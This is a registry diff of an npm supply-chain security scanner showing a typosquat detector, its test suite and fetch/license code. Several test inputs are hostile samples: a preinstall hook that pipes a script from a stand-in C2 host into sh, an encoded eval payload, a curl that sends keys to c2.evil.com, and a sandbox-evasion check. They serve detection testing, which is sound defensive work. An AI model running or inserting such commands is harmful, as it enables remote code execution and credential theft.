@lateos/npm-scan 1.0.0 → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.de.md +3 -98
- package/README.fr.md +3 -98
- package/README.ja.md +3 -98
- package/README.md +2 -122
- package/README.zh.md +3 -98
- package/backend/cra.js +113 -21
- package/backend/db.js +18 -10
- package/backend/detectors/atk-001-lifecycle.js +5 -5
- package/backend/detectors/atk-002-obfusc.js +126 -47
- package/backend/detectors/atk-003-creds.js +8 -4
- package/backend/detectors/atk-004-persist.js +3 -3
- package/backend/detectors/atk-005-exfil.js +8 -4
- package/backend/detectors/atk-006-depconf.js +3 -3
- package/backend/detectors/atk-007-typosquat.js +64 -10
- package/backend/detectors/atk-008-tarball-tamper.js +6 -6
- package/backend/detectors/atk-009-dormant-trigger.js +9 -5
- package/backend/detectors/atk-010-sandbox-evasion.js +25 -10
- package/backend/detectors/atk-011-transitive-prop.js +14 -13
- package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +4 -4
- package/backend/detectors/axios-poisoning/d2-decoy-dep.js +5 -1
- package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +64 -19
- package/backend/detectors/axios-poisoning/index.js +77 -60
- package/backend/detectors/config/thresholds.js +48 -3
- package/backend/detectors/cve-2026-48710-badhost/codePattern.js +26 -9
- package/backend/detectors/cve-2026-48710-badhost/findings.js +8 -4
- package/backend/detectors/cve-2026-48710-badhost/index.js +1 -1
- package/backend/detectors/cve-2026-48710-badhost/manifest.js +127 -39
- package/backend/detectors/cve-2026-48710-badhost/transitive.js +87 -28
- package/backend/detectors/hf-impersonation/index.js +94 -31
- package/backend/detectors/hf-impersonation/jaro-winkler.js +33 -12
- package/backend/detectors/hf-impersonation/known-orgs.js +15 -3
- package/backend/detectors/hf-impersonation/simhash.js +2 -2
- package/backend/detectors/index.js +181 -34
- package/backend/detectors/lib/ast-patterns.js +4 -1
- package/backend/detectors/lib/entropy-analyzer.js +12 -4
- package/backend/detectors/megalodon/d1-workflow-scan.js +40 -16
- package/backend/detectors/megalodon/d2-credential-harvest.js +12 -5
- package/backend/detectors/megalodon/d3-publish-velocity.js +17 -11
- package/backend/detectors/megalodon/d4-publisher-drift.js +48 -16
- package/backend/detectors/megalodon/d5-bot-commit-identity.js +1 -1
- package/backend/detectors/megalodon/d6-date-anachronism.js +1 -1
- package/backend/detectors/megalodon/index.js +35 -25
- package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +3 -1
- package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +22 -10
- package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +30 -10
- package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +17 -13
- package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +12 -4
- package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +6 -2
- package/backend/detectors/mini-shai-hulud/index.js +63 -26
- package/backend/detectors/msh-supplement/d2-persistence.js +30 -12
- package/backend/detectors/msh-supplement/d3-geo-killswitch.js +20 -8
- package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +19 -5
- package/backend/detectors/msh-supplement/index.js +78 -63
- package/backend/detectors/node-ipc-compromise/d1-version-blocklist.js +4 -2
- package/backend/detectors/node-ipc-compromise/d10-unauthorized-publisher.js +9 -5
- package/backend/detectors/node-ipc-compromise/d11-blast-radius.js +7 -3
- package/backend/detectors/node-ipc-compromise/d2-tarball-hash.js +9 -4
- package/backend/detectors/node-ipc-compromise/d3-cjs-payload-injection.js +7 -5
- package/backend/detectors/node-ipc-compromise/d4-injected-payload-hash.js +4 -2
- package/backend/detectors/node-ipc-compromise/d5-dns-c2-pattern.js +13 -10
- package/backend/detectors/node-ipc-compromise/d7-dns-txt-exfil.js +3 -1
- package/backend/detectors/node-ipc-compromise/d8-runtime-trigger.js +5 -2
- package/backend/detectors/node-ipc-compromise/index.js +21 -15
- package/backend/detectors/tier1-binary-embed.js +109 -41
- package/backend/detectors/tier1-cloud-imds.js +57 -37
- package/backend/detectors/tier1-encrypted-c2.js +198 -0
- package/backend/detectors/tier1-infostealer.js +121 -68
- package/backend/detectors/tier1-lifecycle-hook.js +63 -23
- package/backend/detectors/tier1-maintainer-compromise.js +157 -0
- package/backend/detectors/tier1-metadata-spoof.js +92 -42
- package/backend/detectors/tier1-multistage-postinstall.js +46 -19
- package/backend/detectors/tier1-obfuscation-heuristics.js +45 -17
- package/backend/detectors/tier1-self-propagation.js +115 -0
- package/backend/detectors/tier1-slsa-attestation.js +1 -1
- package/backend/detectors/tier1-transitive-deps.js +182 -0
- package/backend/detectors/tier1-typosquat.js +129 -50
- package/backend/detectors/tier1-version-anomaly.js +77 -41
- package/backend/detectors/tier1-version-confusion.js +79 -59
- package/backend/detectors/trapdoor/d1-campaign-marker.js +3 -1
- package/backend/detectors/trapdoor/d2-payload-fingerprint.js +1 -1
- package/backend/detectors/trapdoor/d3-publisher-blocklist.js +4 -3
- package/backend/detectors/trapdoor/d4-gists-exfil.js +4 -2
- package/backend/detectors/trapdoor/d5-ai-poisoning.js +5 -3
- package/backend/detectors/trapdoor/d6-lure-name.js +12 -7
- package/backend/detectors/trapdoor/d7-crypto-primitives.js +2 -2
- package/backend/detectors/trapdoor/d8-xor-key.js +7 -2
- package/backend/detectors/trapdoor/d9-cred-validation.js +4 -5
- package/backend/detectors/trapdoor/index.js +19 -14
- package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +32 -8
- package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +5 -3
- package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +34 -12
- package/backend/detectors/typosquat-vpmdhaj/index.js +78 -59
- package/backend/detectors.test.js +78 -19
- package/backend/fetch.js +37 -29
- package/backend/index.js +1 -1
- package/backend/license.js +20 -4
- package/backend/lockfile.js +60 -36
- package/backend/pdf.js +107 -28
- package/backend/policy.js +183 -56
- package/backend/provenance.js +28 -3
- package/backend/report.js +136 -70
- package/backend/sbom.js +33 -27
- package/backend/scripts/analyze-false-positives.js +14 -8
- package/backend/scripts/analyze-validation.js +27 -21
- package/backend/scripts/detect-false-positives.js +20 -10
- package/backend/scripts/fetch-top-packages.js +197 -49
- package/backend/scripts/validate-d10-d13.js +103 -0
- package/backend/scripts/validate-detectors.js +26 -17
- package/backend/siem/cef.js +23 -21
- package/backend/siem/ecs.js +3 -3
- package/backend/siem/index.js +1 -1
- package/backend/siem/qradar.js +3 -3
- package/backend/siem/sentinel.js +2 -2
- package/backend/tests-d5-enhanced.test.js +13 -12
- package/backend/tests-d6-version-anomaly.test.js +17 -8
- package/backend/tests-d6.test.js +24 -14
- package/backend/tests-d6c.test.js +27 -14
- package/backend/tests-d7-obfuscation.test.js +9 -12
- package/backend/tests.test.js +182 -83
- package/backend/vsix-scan/detectors/activation-event-risk.js +36 -19
- package/backend/vsix-scan/detectors/burst-publish.js +14 -7
- package/backend/vsix-scan/detectors/exfil-pattern.js +7 -3
- package/backend/vsix-scan/detectors/known-ioc.js +23 -8
- package/backend/vsix-scan/detectors/orphan-commit-fetch.js +11 -7
- package/backend/vsix-scan/detectors/publisher-anomaly.js +24 -10
- package/backend/vsix-scan/index.js +97 -41
- package/backend/vsix-scan/marketplace-client.js +29 -13
- package/cli/cli.js +154 -64
- package/package.json +12 -3
|
@@ -7,7 +7,11 @@ const RULE_SEVERITY = { D1: 'critical', D2: 'critical', D3: 'critical' };
|
|
|
7
7
|
const SEVERITY_ORDER = ['critical', 'high', 'medium', 'low', 'info', 'none'];
|
|
8
8
|
|
|
9
9
|
function highestSeverity(severities) {
|
|
10
|
-
for (const s of SEVERITY_ORDER)
|
|
10
|
+
for (const s of SEVERITY_ORDER) {
|
|
11
|
+
if (severities.includes(s)) {
|
|
12
|
+
return s;
|
|
13
|
+
}
|
|
14
|
+
}
|
|
11
15
|
return 'none';
|
|
12
16
|
}
|
|
13
17
|
|
|
@@ -18,36 +22,45 @@ export async function scan(pkgJson, files = [], registryMeta = null, allFiles =
|
|
|
18
22
|
|
|
19
23
|
const d1Result = scanMaintainerAnomaly(pkgJson, registryMeta);
|
|
20
24
|
if (d1Result.stopCondition) {
|
|
21
|
-
const evidence = attachProvenance(
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
25
|
+
const evidence = attachProvenance(
|
|
26
|
+
{
|
|
27
|
+
rule: 'TSQ-MAINT-001',
|
|
28
|
+
campaign: 'TYPOSQUAT_VPMDHAJ',
|
|
29
|
+
triggeredChecks: ['D1'],
|
|
30
|
+
maintainer: d1Result.maintainer,
|
|
31
|
+
suspiciousAliases: d1Result.suspiciousAliases,
|
|
32
|
+
action: 'BLOCK',
|
|
33
|
+
},
|
|
34
|
+
{
|
|
35
|
+
ruleId: 'TSQ-MAINT-001',
|
|
36
|
+
ruleName: 'Maintainer & Package Alias Anomalies',
|
|
37
|
+
campaignName: 'Mass Typosquatting (vpmdhaj)',
|
|
38
|
+
pkgName,
|
|
39
|
+
pkgVersion,
|
|
40
|
+
triggered: true,
|
|
41
|
+
severity: 'critical',
|
|
42
|
+
indicators: [
|
|
43
|
+
{ type: 'blocked_maintainer', value: d1Result.maintainer },
|
|
44
|
+
...d1Result.suspiciousAliases.map((a) => ({ type: 'suspicious_alias', value: a })),
|
|
45
|
+
],
|
|
46
|
+
ruleProvenanceUrl:
|
|
47
|
+
'https://github.com/lateos/npm-scan/blob/main/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js',
|
|
48
|
+
campaignSourceUrl: 'https://security.researcher.org/supply-chain-report',
|
|
49
|
+
}
|
|
50
|
+
);
|
|
41
51
|
|
|
42
|
-
return [
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
52
|
+
return [
|
|
53
|
+
{
|
|
54
|
+
id: 'TYPOSQUAT_VPMDHAJ',
|
|
55
|
+
severity: 'critical',
|
|
56
|
+
title: 'Mass Typosquatting campaign (vpmdhaj) — blocked maintainer',
|
|
57
|
+
description: d1Result.reason,
|
|
58
|
+
evidence: JSON.stringify(evidence),
|
|
59
|
+
mitigation:
|
|
60
|
+
'BLOCK IMMEDIATELY. Do not install packages from maintainer vpmdhaj. Audit all packages from your lockfile for this maintainer. Check for typosquatting of popular packages.',
|
|
61
|
+
stopCondition: true,
|
|
62
|
+
},
|
|
63
|
+
];
|
|
51
64
|
}
|
|
52
65
|
|
|
53
66
|
const d2Result = scanPreinstallLoader(pkgJson);
|
|
@@ -63,36 +76,42 @@ export async function scan(pkgJson, files = [], registryMeta = null, allFiles =
|
|
|
63
76
|
.filter(([_, r]) => r.triggered)
|
|
64
77
|
.map(([id]) => id);
|
|
65
78
|
|
|
66
|
-
if (triggered.length === 0)
|
|
79
|
+
if (triggered.length === 0) {
|
|
80
|
+
return [];
|
|
81
|
+
}
|
|
67
82
|
|
|
68
|
-
const severity = highestSeverity(triggered.map(id => RULE_SEVERITY[id]));
|
|
83
|
+
const severity = highestSeverity(triggered.map((id) => RULE_SEVERITY[id]));
|
|
69
84
|
|
|
70
|
-
const evidence = attachProvenance(
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
Object.entries(results).filter(([_, r]) => r.triggered)
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
85
|
+
const evidence = attachProvenance(
|
|
86
|
+
{
|
|
87
|
+
campaign: 'TYPOSQUAT_VPMDHAJ',
|
|
88
|
+
triggeredChecks: triggered,
|
|
89
|
+
details: Object.fromEntries(Object.entries(results).filter(([_, r]) => r.triggered)),
|
|
90
|
+
},
|
|
91
|
+
{
|
|
92
|
+
ruleId: 'TYPOSQUAT_VPMDHAJ',
|
|
93
|
+
ruleName: 'Mass Typosquatting Campaign Detection',
|
|
94
|
+
campaignName: 'Mass Typosquatting (vpmdhaj)',
|
|
95
|
+
pkgName,
|
|
96
|
+
pkgVersion,
|
|
97
|
+
triggered: true,
|
|
98
|
+
severity,
|
|
99
|
+
indicators: triggered.map((id) => ({ type: `rule_${id}`, value: RULE_SEVERITY[id] })),
|
|
100
|
+
ruleProvenanceUrl:
|
|
101
|
+
'https://github.com/lateos/npm-scan/blob/main/backend/detectors/typosquat-vpmdhaj/',
|
|
102
|
+
campaignSourceUrl: 'https://security.researcher.org/supply-chain-report',
|
|
103
|
+
}
|
|
104
|
+
);
|
|
89
105
|
|
|
90
|
-
return [
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
106
|
+
return [
|
|
107
|
+
{
|
|
108
|
+
id: 'TYPOSQUAT_VPMDHAJ',
|
|
109
|
+
severity,
|
|
110
|
+
title: 'Mass Typosquatting campaign (vpmdhaj)',
|
|
111
|
+
description: `${triggered.length} signal(s): ${triggered.join(', ')}`,
|
|
112
|
+
evidence: JSON.stringify(evidence),
|
|
113
|
+
mitigation:
|
|
114
|
+
'Block install immediately. Revoke any npm tokens. Rotate CI/CD secrets. Audit all packages from maintainer vpmdhaj. If credential exfiltration detected: rotate AWS IAM keys, Vault tokens, and GitHub tokens immediately. Verify CloudTrail/audit logs for unauthorized access.',
|
|
115
|
+
},
|
|
116
|
+
];
|
|
98
117
|
}
|
|
@@ -10,79 +10,138 @@ test('detectors runAll empty', async () => {
|
|
|
10
10
|
test('ATK-001 detects preinstall', async () => {
|
|
11
11
|
const pkg = { scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' } };
|
|
12
12
|
const findings = await detectors.runAll(pkg);
|
|
13
|
-
assert(
|
|
13
|
+
assert(
|
|
14
|
+
findings.some((f) => f.id === 'ATK-001'),
|
|
15
|
+
'Expected ATK-001'
|
|
16
|
+
);
|
|
14
17
|
});
|
|
15
18
|
|
|
16
19
|
test('ATK-002 detects eval+decode', async () => {
|
|
17
20
|
const files = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
|
|
18
21
|
const findings = await detectors.runAll({}, files);
|
|
19
|
-
assert(
|
|
22
|
+
assert(
|
|
23
|
+
findings.some((f) => f.id === 'ATK-002'),
|
|
24
|
+
'Expected ATK-002'
|
|
25
|
+
);
|
|
20
26
|
});
|
|
21
27
|
|
|
22
28
|
test('ATK-003 detects cred env vars', async () => {
|
|
23
29
|
const files = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
|
|
24
30
|
const findings = await detectors.runAll({}, files);
|
|
25
|
-
assert(
|
|
31
|
+
assert(
|
|
32
|
+
findings.some((f) => f.id === 'ATK-003'),
|
|
33
|
+
'Expected ATK-003'
|
|
34
|
+
);
|
|
26
35
|
});
|
|
27
36
|
|
|
28
37
|
test('ATK-004 detects editor persistence', async () => {
|
|
29
38
|
const files = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
|
|
30
39
|
const findings = await detectors.runAll({}, files);
|
|
31
|
-
assert(
|
|
40
|
+
assert(
|
|
41
|
+
findings.some((f) => f.id === 'ATK-004'),
|
|
42
|
+
'Expected ATK-004'
|
|
43
|
+
);
|
|
32
44
|
});
|
|
33
45
|
|
|
34
46
|
test('ATK-005 detects network exfil', async () => {
|
|
35
47
|
const files = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
|
|
36
48
|
const findings = await detectors.runAll({}, files);
|
|
37
|
-
assert(
|
|
49
|
+
assert(
|
|
50
|
+
findings.some((f) => f.id === 'ATK-005'),
|
|
51
|
+
'Expected ATK-005'
|
|
52
|
+
);
|
|
38
53
|
});
|
|
39
54
|
|
|
40
55
|
test('ATK-006 detects dep confusion', async () => {
|
|
41
56
|
const pkg = { dependencies: { 'acorn-squatter': '1.0.0' } };
|
|
42
57
|
const findings = await detectors.runAll(pkg);
|
|
43
|
-
assert(
|
|
58
|
+
assert(
|
|
59
|
+
findings.some((f) => f.id === 'ATK-006'),
|
|
60
|
+
'Expected ATK-006'
|
|
61
|
+
);
|
|
44
62
|
});
|
|
45
63
|
|
|
46
64
|
test('ATK-007 detects typosquatting', async () => {
|
|
47
|
-
const pkg = { dependencies: {
|
|
65
|
+
const pkg = { dependencies: { lodash: 'latest', loddsh: '1.0.0' } };
|
|
48
66
|
const findings = await detectors.runAll(pkg);
|
|
49
|
-
assert(
|
|
67
|
+
assert(
|
|
68
|
+
findings.some((f) => f.id === 'ATK-007'),
|
|
69
|
+
'Expected ATK-007 for loddsh'
|
|
70
|
+
);
|
|
50
71
|
});
|
|
51
72
|
|
|
52
73
|
test('ATK-008 detects tarball tampering', async () => {
|
|
53
|
-
const pkg = {
|
|
74
|
+
const pkg = {
|
|
75
|
+
name: 'lodash',
|
|
76
|
+
repository: { url: 'https://github.com/attacker/lodash-evil.git' },
|
|
77
|
+
};
|
|
54
78
|
const findings = await detectors.runAll(pkg);
|
|
55
|
-
assert(
|
|
79
|
+
assert(
|
|
80
|
+
findings.some((f) => f.id === 'ATK-008'),
|
|
81
|
+
'Expected ATK-008'
|
|
82
|
+
);
|
|
56
83
|
});
|
|
57
84
|
|
|
58
85
|
test('ATK-009 detects CI env trigger', async () => {
|
|
59
86
|
const files = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
|
|
60
87
|
const findings = await detectors.runAll({}, files);
|
|
61
|
-
assert(
|
|
88
|
+
assert(
|
|
89
|
+
findings.some((f) => f.id === 'ATK-009'),
|
|
90
|
+
'Expected ATK-009'
|
|
91
|
+
);
|
|
62
92
|
});
|
|
63
93
|
|
|
64
94
|
test('ATK-010 detects sandbox evasion', async () => {
|
|
65
|
-
const files = [
|
|
95
|
+
const files = [
|
|
96
|
+
{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' },
|
|
97
|
+
];
|
|
66
98
|
const findings = await detectors.runAll({}, files);
|
|
67
|
-
assert(
|
|
99
|
+
assert(
|
|
100
|
+
findings.some((f) => f.id === 'ATK-010'),
|
|
101
|
+
'Expected ATK-010'
|
|
102
|
+
);
|
|
68
103
|
});
|
|
69
104
|
|
|
70
105
|
test('ATK-011 detects transitive propagation', async () => {
|
|
71
106
|
const files = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];
|
|
72
107
|
const findings = await detectors.runAll({}, files);
|
|
73
|
-
assert(
|
|
108
|
+
assert(
|
|
109
|
+
findings.some((f) => f.id === 'ATK-011'),
|
|
110
|
+
'Expected ATK-011'
|
|
111
|
+
);
|
|
74
112
|
});
|
|
75
113
|
|
|
76
114
|
test('no false positives on clean package', async () => {
|
|
77
|
-
const pkg = {
|
|
115
|
+
const pkg = {
|
|
116
|
+
name: 'test-pkg',
|
|
117
|
+
version: '1.0.0',
|
|
118
|
+
scripts: { test: 'node test.js' },
|
|
119
|
+
dependencies: { express: '4.0.0' },
|
|
120
|
+
};
|
|
78
121
|
const files = [{ path: 'index.js', content: 'module.exports = function() { return 42 }' }];
|
|
79
122
|
const findings = await detectors.runAll(pkg, files);
|
|
80
|
-
const highCrit = findings.filter(f => f.severity === 'high' || f.severity === 'critical');
|
|
81
|
-
assert.equal(
|
|
123
|
+
const highCrit = findings.filter((f) => f.severity === 'high' || f.severity === 'critical');
|
|
124
|
+
assert.equal(
|
|
125
|
+
highCrit.length,
|
|
126
|
+
0,
|
|
127
|
+
`Expected no high/crit findings on clean pkg: ${JSON.stringify(highCrit)}`
|
|
128
|
+
);
|
|
82
129
|
});
|
|
83
130
|
|
|
84
131
|
test('all 11 ATK IDs present', async () => {
|
|
85
|
-
const
|
|
132
|
+
const _expected = [
|
|
133
|
+
'ATK-001',
|
|
134
|
+
'ATK-002',
|
|
135
|
+
'ATK-003',
|
|
136
|
+
'ATK-004',
|
|
137
|
+
'ATK-005',
|
|
138
|
+
'ATK-006',
|
|
139
|
+
'ATK-007',
|
|
140
|
+
'ATK-008',
|
|
141
|
+
'ATK-009',
|
|
142
|
+
'ATK-010',
|
|
143
|
+
'ATK-011',
|
|
144
|
+
];
|
|
86
145
|
const exports = Object.keys(detectors);
|
|
87
146
|
assert.equal(exports.includes('runAll'), true);
|
|
88
|
-
});
|
|
147
|
+
});
|
package/backend/fetch.js
CHANGED
|
@@ -9,19 +9,23 @@ import { pipeline } from 'stream/promises';
|
|
|
9
9
|
export async function fetchPackage(target, options = {}) {
|
|
10
10
|
const { cacheDir, cacheTTL = 604800, cacheMaxSize = 1000000000 } = options;
|
|
11
11
|
let name, version;
|
|
12
|
-
|
|
12
|
+
|
|
13
13
|
if (target.startsWith('@')) {
|
|
14
14
|
const lastAt = target.lastIndexOf('@');
|
|
15
15
|
name = target.slice(0, lastAt);
|
|
16
16
|
version = target.slice(lastAt + 1);
|
|
17
|
-
if (!version)
|
|
17
|
+
if (!version) {
|
|
18
|
+
version = undefined;
|
|
19
|
+
}
|
|
18
20
|
} else {
|
|
19
21
|
const idx = target.indexOf('@');
|
|
20
22
|
name = idx > -1 ? target.slice(0, idx) : target;
|
|
21
23
|
version = idx > -1 ? target.slice(idx + 1) : undefined;
|
|
22
24
|
}
|
|
23
|
-
|
|
24
|
-
const endpoint = version
|
|
25
|
+
|
|
26
|
+
const endpoint = version
|
|
27
|
+
? `/${encodeURIComponent(name)}/${version}`
|
|
28
|
+
: `/${encodeURIComponent(name)}/latest`;
|
|
25
29
|
|
|
26
30
|
if (cacheDir) {
|
|
27
31
|
const cached = getFromCache(cacheDir, target, cacheTTL);
|
|
@@ -41,7 +45,9 @@ export async function fetchPackage(target, options = {}) {
|
|
|
41
45
|
const tarUrl = meta.dist.tarball;
|
|
42
46
|
const tarRes = await fetch(tarUrl);
|
|
43
47
|
const buffer = Buffer.from(await tarRes.arrayBuffer());
|
|
44
|
-
if (buffer.length > 500 * 1024 * 1024)
|
|
48
|
+
if (buffer.length > 500 * 1024 * 1024) {
|
|
49
|
+
throw new Error('Tarball too large');
|
|
50
|
+
}
|
|
45
51
|
|
|
46
52
|
// Save to cache if enabled
|
|
47
53
|
if (cacheDir) {
|
|
@@ -55,19 +61,21 @@ export async function fetchPackage(target, options = {}) {
|
|
|
55
61
|
function getFromCache(cacheDir, target, ttl) {
|
|
56
62
|
const cachePath = path.join(cacheDir, `${target.replace('/', '-')}.tgz`);
|
|
57
63
|
const metaPath = path.join(cacheDir, `${target.replace('/', '-')}.meta.json`);
|
|
58
|
-
|
|
64
|
+
|
|
59
65
|
try {
|
|
60
|
-
if (!fs.existsSync(cachePath) || !fs.existsSync(metaPath))
|
|
61
|
-
|
|
66
|
+
if (!fs.existsSync(cachePath) || !fs.existsSync(metaPath)) {
|
|
67
|
+
return null;
|
|
68
|
+
}
|
|
69
|
+
|
|
62
70
|
const meta = JSON.parse(fs.readFileSync(metaPath, 'utf8'));
|
|
63
71
|
const age = (Date.now() - meta.timestamp) / 1000;
|
|
64
|
-
|
|
72
|
+
|
|
65
73
|
if (age > ttl) {
|
|
66
74
|
fs.unlinkSync(cachePath);
|
|
67
75
|
fs.unlinkSync(metaPath);
|
|
68
76
|
return null;
|
|
69
77
|
}
|
|
70
|
-
|
|
78
|
+
|
|
71
79
|
return fs.readFileSync(cachePath);
|
|
72
80
|
} catch {
|
|
73
81
|
return null;
|
|
@@ -79,27 +87,27 @@ function saveToCache(cacheDir, target, buffer, ttl, maxSize) {
|
|
|
79
87
|
if (!fs.existsSync(cacheDir)) {
|
|
80
88
|
fs.mkdirSync(cacheDir, { recursive: true });
|
|
81
89
|
}
|
|
82
|
-
|
|
90
|
+
|
|
83
91
|
// Prune if needed
|
|
84
92
|
pruneCache(cacheDir, maxSize);
|
|
85
|
-
|
|
93
|
+
|
|
86
94
|
const safeName = target.replace('/', '-');
|
|
87
95
|
const cachePath = path.join(cacheDir, `${safeName}.tgz`);
|
|
88
96
|
const metaPath = path.join(cacheDir, `${safeName}.meta.json`);
|
|
89
|
-
|
|
97
|
+
|
|
90
98
|
fs.writeFileSync(cachePath, buffer);
|
|
91
99
|
fs.writeFileSync(metaPath, JSON.stringify({ timestamp: Date.now(), size: buffer.length }));
|
|
92
|
-
} catch
|
|
100
|
+
} catch {
|
|
93
101
|
// Cache write failure - continue without caching
|
|
94
102
|
}
|
|
95
103
|
}
|
|
96
104
|
|
|
97
105
|
function pruneCache(cacheDir, maxSize) {
|
|
98
106
|
try {
|
|
99
|
-
const files = fs.readdirSync(cacheDir).filter(f => f.endsWith('.meta.json'));
|
|
107
|
+
const files = fs.readdirSync(cacheDir).filter((f) => f.endsWith('.meta.json'));
|
|
100
108
|
let totalSize = 0;
|
|
101
109
|
const fileInfos = [];
|
|
102
|
-
|
|
110
|
+
|
|
103
111
|
for (const f of files) {
|
|
104
112
|
const meta = JSON.parse(fs.readFileSync(path.join(cacheDir, f), 'utf8'));
|
|
105
113
|
const tarFile = f.replace('.meta.json', '.tgz');
|
|
@@ -107,17 +115,21 @@ function pruneCache(cacheDir, maxSize) {
|
|
|
107
115
|
totalSize += size;
|
|
108
116
|
fileInfos.push({ tarFile, metaFile: f, timestamp: meta.timestamp, size });
|
|
109
117
|
}
|
|
110
|
-
|
|
118
|
+
|
|
111
119
|
if (totalSize > maxSize) {
|
|
112
120
|
// Sort by oldest first and remove until under limit
|
|
113
121
|
fileInfos.sort((a, b) => a.timestamp - b.timestamp);
|
|
114
122
|
for (const info of fileInfos) {
|
|
115
|
-
if (totalSize <= maxSize * 0.8)
|
|
123
|
+
if (totalSize <= maxSize * 0.8) {
|
|
124
|
+
break;
|
|
125
|
+
} // Leave 20% margin
|
|
116
126
|
try {
|
|
117
127
|
fs.unlinkSync(path.join(cacheDir, info.tarFile));
|
|
118
128
|
fs.unlinkSync(path.join(cacheDir, info.metaFile));
|
|
119
129
|
totalSize -= info.size;
|
|
120
|
-
} catch {
|
|
130
|
+
} catch {
|
|
131
|
+
/* ignore file errors */
|
|
132
|
+
}
|
|
121
133
|
}
|
|
122
134
|
}
|
|
123
135
|
} catch {
|
|
@@ -135,24 +147,20 @@ async function extractTarball(buffer, tmpDir) {
|
|
|
135
147
|
fs.mkdirSync(tmpDir, { recursive: true });
|
|
136
148
|
|
|
137
149
|
const stream = Readable.from(buffer);
|
|
138
|
-
await pipeline(
|
|
139
|
-
stream,
|
|
140
|
-
zlib.createGunzip(),
|
|
141
|
-
extract({ cwd: tmpDir, strip: 1 })
|
|
142
|
-
);
|
|
150
|
+
await pipeline(stream, zlib.createGunzip(), extract({ cwd: tmpDir, strip: 1 }));
|
|
143
151
|
|
|
144
152
|
const pkgPath = path.join(tmpDir, 'package.json');
|
|
145
153
|
const pkgJsonStr = fs.readFileSync(pkgPath, 'utf8');
|
|
146
154
|
const pkgJson = JSON.parse(pkgJsonStr);
|
|
147
155
|
|
|
148
|
-
const jsFiles = walkFiles(tmpDir, '.js').map(p => ({
|
|
156
|
+
const jsFiles = walkFiles(tmpDir, '.js').map((p) => ({
|
|
149
157
|
path: p,
|
|
150
|
-
content: fs.readFileSync(p, 'utf8')
|
|
158
|
+
content: fs.readFileSync(p, 'utf8'),
|
|
151
159
|
}));
|
|
152
160
|
|
|
153
|
-
const allFiles = walkFiles(tmpDir, '').map(p => ({
|
|
161
|
+
const allFiles = walkFiles(tmpDir, '').map((p) => ({
|
|
154
162
|
path: p,
|
|
155
|
-
content: fs.readFileSync(p, 'utf8')
|
|
163
|
+
content: fs.readFileSync(p, 'utf8'),
|
|
156
164
|
}));
|
|
157
165
|
|
|
158
166
|
return { pkgJson, jsFiles, allFiles, tmpDir };
|
|
@@ -173,4 +181,4 @@ function walkFiles(dir, ext) {
|
|
|
173
181
|
|
|
174
182
|
export function cleanup(tmpDir) {
|
|
175
183
|
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
176
|
-
}
|
|
184
|
+
}
|
package/backend/index.js
CHANGED
package/backend/license.js
CHANGED
|
@@ -5,7 +5,19 @@ const HMAC_KEY = process.env.NPM_SCAN_LICENSE_SECRET || 'npm-scan-default-dev-ke
|
|
|
5
5
|
const FEATURE_TIERS = {
|
|
6
6
|
community: [],
|
|
7
7
|
premium: ['sandbox', 'siem', 'cra', 'nist-pdf', 'rest-api', 'webhooks', 'helm'],
|
|
8
|
-
enterprise: [
|
|
8
|
+
enterprise: [
|
|
9
|
+
'sandbox',
|
|
10
|
+
'siem',
|
|
11
|
+
'cra',
|
|
12
|
+
'nist-pdf',
|
|
13
|
+
'rest-api',
|
|
14
|
+
'webhooks',
|
|
15
|
+
'helm',
|
|
16
|
+
'sso',
|
|
17
|
+
'audit-logs',
|
|
18
|
+
'pg-backend',
|
|
19
|
+
'kubernetes',
|
|
20
|
+
],
|
|
9
21
|
};
|
|
10
22
|
|
|
11
23
|
const ALL_FEATURES = Object.values(FEATURE_TIERS).flat();
|
|
@@ -70,7 +82,9 @@ export function validateLicense(key, feature = '*') {
|
|
|
70
82
|
}
|
|
71
83
|
|
|
72
84
|
if (feature !== '*' && !allowed.includes(feature) && !ALLOWED_UNLOCKED.includes(feature)) {
|
|
73
|
-
throw new Error(
|
|
85
|
+
throw new Error(
|
|
86
|
+
`Feature "${feature}" requires ${edition === 'community' ? 'premium' : 'enterprise'} license`
|
|
87
|
+
);
|
|
